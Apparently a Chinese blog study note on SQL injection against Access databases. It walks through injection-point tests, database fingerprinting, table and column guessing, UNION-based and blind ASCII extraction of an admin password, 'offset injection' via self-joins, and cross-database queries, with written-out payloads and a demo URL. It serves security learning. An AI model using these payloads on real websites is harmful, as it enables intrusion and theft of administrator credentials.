SQL注入之Access数据库

(本文为学习笔记,介绍的Access数据库SQL注入方法建立在最理想的状态下,实际中会遇到各种问题,遇到问题百度一下)


基本知识:

  • Access数据库多用于小型站点,企业,政府这种基本不会改动什么的网站
  • Access数据库后缀名:*.mdb
  • 打开工具:辅臣数据库浏览器,破障浏览器等

注入判断:

  1. 判断注入点
    ' 错误
    and 1=1 正常
    and 1=2 错误
    满足以上条件即存在注入

  2. 判断数据库类型
    and exists (select * from msysobjects)>0
    返回正常,即可判断其为Access数据库

    and exists (select * from sysobjects)>0
    返回正常,即可判断其为MSSQL数据库

  3. 判断数据库表名
    and exists (select * from admin)
    若存在admin表,页面返回正常,反之报错

  4. 判断数据库列名
    and exists (select password from admin)
    若admin表中password列,返回正常,反之报错

  5. 判断当前页面查询字段(列)长度
    order by 7
    若返回正常,加大数值,直到返回页面错误,判断出字段长度

  6. 页面报错
    union select 1,2,3,4,5,6,7 from admin
    查询admin表,页面报错出可以查询列名的位置

  7. 数据库联合查询
    union select 1,2,3,4,password,6,7,8,9 from admin
    在页面报错位置,查询admin表中password列(字段)名,将会在页面上爆出来列(字段)信息


其他相关知识:

(有些情况下并不能直接得到想要的信息,可能会用到下面的一些方法)

  • 判断列(字段)的长度
    and (select len(password) from admin)=5
    若返回正常,说明password列(字段)长度为5

  • 已知列(字段)长度,通过ascii判断每个字符对应信息
    and (select top 1 asc(mid(password,1,1)) from admin)>100
    返回正常说明大于,返回错误说明不大于

    and (select top 1 asc(mid(password,1,1)) from admin)>50
    返回正常说明大于

    and (select top 1 asc(mid(password,1,1)) from admin)=97
    返回正常,说明password列(字段)第一个字符ASCII码为97

    通过ASCII对应表可以查到97对应a

    and (select top 1 asc(mid(password,2,1)) from admin)>100
    接着判断password列(字段)第二个字符

    and (select top 1 asc(mid(password,3,1)) from admin)>100
    接着判断password列(字段)第三个字符

  • 偏移注入
    什么时候用? 猜出表名,猜不出列名时

    DemoURL:http://192.168.18.136/about.asp?id=8 UNION SELECT 1,2,3,4,5,6 from admin

    长度为6,开始从最后一位用*代替,直到页面不出错

    用*依次向前替换,直到页面显示正常(假设3是页面正常)
    UNION SELECT 1,2,3,4,5,* from admin
    UNION SELECT 1,2,3,4,* from admin
    UNION SELECT 1,2,3,* from admin

    套用公式
    6-3=3
    0+3*2=6

    从第1位开始替换,类比套用下面语句
    UNION SELECT a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

    如果是更多位
    UNION SELECT a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

    偏移注入会随机爆出一个字段内容,具体是什么看运气

    偏移注入相关参数查找

    1. 后台登录文件源码表单里面的参数值
    2. 看网站地址链接上的规则
    3. 是否判断出对方使用CMS程序
  • Access跨库查询
    作用:直接查询到B站admin表中的管理员密码(条件很难满足,实际基本用不到)

    条件:A站与B站同在一个服务器,A站有SQL注入,B站没有,此时知道B站数据库 绝对路径,表名,列名

    UNION SELECT 1,2,3,4,password,6 from [C:\www\a.mdb].admin
    上面语句实现跨库查询


你可能感兴趣的:(SQL注入之Access数据库)